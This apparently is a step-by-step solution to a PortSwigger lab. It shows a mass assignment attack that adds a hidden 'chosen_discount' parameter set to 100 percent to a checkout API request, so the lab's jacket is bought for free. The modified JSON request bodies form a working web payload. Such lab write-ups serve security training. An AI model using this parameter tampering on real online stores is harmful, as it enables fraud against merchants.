Exploiting a mass assignment vulnerability

PortSwigger

Lab Description

To solve the lab, find and exploit a mass assignment vulnerability to buy a Lightweight “l33t” Leather Jacket.

Credentials: wiener:peter

---

---

Step 1: Log In and Add Jacket to Cart

1. Log in as wiener:peter
2. Add the leather jacket to your basket
3. Go to your basket and attempt to place the order

Result: Insufficient credit.

---

Step 2: Capture the Checkout Requests

1. In Burp Proxy, find the checkout requests:
   • GET /api/checkout
   • POST /api/checkout
2. Send the POST /api/checkout request to Repeater

---

Step 3: Find the Hidden Parameter

Examine the GET /api/checkout response:

{
  "chosen_discount": {
    "percentage": 0
  },
  "chosen_products": [
    {
      "product_id": "1",
      "quantity": 1
    }
  ]
}

The response contains a chosen_discount parameter that is not present in the request.

---

Step 4: Add the Hidden Parameter

Original request:

{
  "chosen_products": [
    {
      "product_id": "1",
      "quantity": 1
    }
  ]
}

Modified request:

{
  "chosen_discount": {
    "percentage": 0
  },
  "chosen_products": [
    {
      "product_id": "1",
      "quantity": 1
    }
  ]
}

POST /api/checkout HTTP/2

Send the request: No error

---

Step 5: Set Discount to 100%

Final request:

{
  "chosen_discount": {
    "percentage": 100
  },
  "chosen_products": [
    {
      "product_id": "1",
      "quantity": 1
    }
  ]
}

---

Step 6: Lab Solved

---

---